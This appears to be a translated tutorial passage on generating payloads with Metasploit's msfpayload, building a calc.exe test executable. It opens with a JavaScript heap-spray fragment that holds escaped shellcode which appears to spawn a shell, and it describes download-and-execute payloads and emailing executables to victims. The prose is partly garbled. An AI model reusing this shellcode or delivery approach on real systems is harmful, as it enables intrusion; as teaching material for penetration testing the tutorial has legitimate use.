<SCRIPT language="javascript"> var heapSprayToAddress = 0x05050505; var payLoadCode = unescape("%udb31%ue3f7%u8953%u68e7%ud8ff%u3cff%u656a %ue689%u56f7%uf604%u5716%u91b3%u5353%ub754%u5354%u5850%u5040%u366a%uff58 %u66d6%u7f81%u0502%u7539%u58f0%u6a50%u5009%u3e6a%uff58%uffd6%ue04f%uf679 %u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u8953%u50e1%u5351%u3bb0%ud6ff"); var heapBlockSize = 0x400000; .Copy the code

Using Metasploit, execute the msfpayload command to generate shellcode like a Windows executable program.

Metasploit provides a function that outputs generated payloads. It’s like a Windows executable. In fact, as you might expect, this functionality is useful for testing shellcode generated. And sending executable programs to the victim via email,HTTP, or even a Downlaod and Execute payload.

A Download and Execute payload is useful when an exploit has only a small buffer that can be inserted by shellcode. This can limit the payload used in the exploit. It can be limited using a designed Shellcode, which starts as a small payload inserted into the exploit. And it’s designed to download larger payloads to extend the functionality of this Shellcode. Another option is to use a Download and Execute Payload. At first, this small payload was simply designed to download an executable program from an attacker’s Web server and execute it on the system. On the system, this shellcode provides richer features for the backdoor.

Download an executable program on the victim’s system, which may be captured by anti-virus software – if the victim already has it installed

To demonstrate generating Windows executables inside Metasploit, we’re going to use “Windows /exec” payload. We need to decide which option to provide for this payload, as we did with the Summary (S) option we used earlier:

$ msfpayload windows/exec S
     Name: Windows Execute Command
     Version: 5773
     Platform: ["Windows"]
     Arch: x86
    Needs Admin: No
     Total size: 113
    
    Provided by:
     vlad902 <[email protected]>
    Basic options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    CMD yes The command string to execute
    EXITFUNC thread yes Exit technique: seh, thread, process
Copy the code

Description:

Execute an order you want

You need to specify the CMD option. Only “calc.exe” will be executed so that you can test it on your own system. To generate an executable Windows program using Metasploit, we can also specify the X option. This will bring the executable to the screen, so we need a pipe to point to a file (the pscalc.exe file that will be called) like this:

$ msfpayload windows/exec CMD=calc.exe X > pscalc.exe     Created by msfpayload (http://www.metasploit.com).     Payload: windows/exec      Length: 121     Options: CMD=calc.exe

You should now have an executable file named “pscalc.exe” in the current directory. You can use the following command to confirm:

$ ls -l pscalc.exe

You can see that this file has no execute permission, so you need to use the following command to set the executable permission for it

$ chmod 755 pscalc.exe

You can now test your Shellcode by executing the Windows executable “pscalc.exe”. The following command should trigger the Windows Calculator and display it on your system.

$ ./pscalc.exe

This is illustrated in the figure below:

A: congratulations! You have used the Metasploit Exploit Framework to generate four different types of Shellcode in different formats for four different platforms.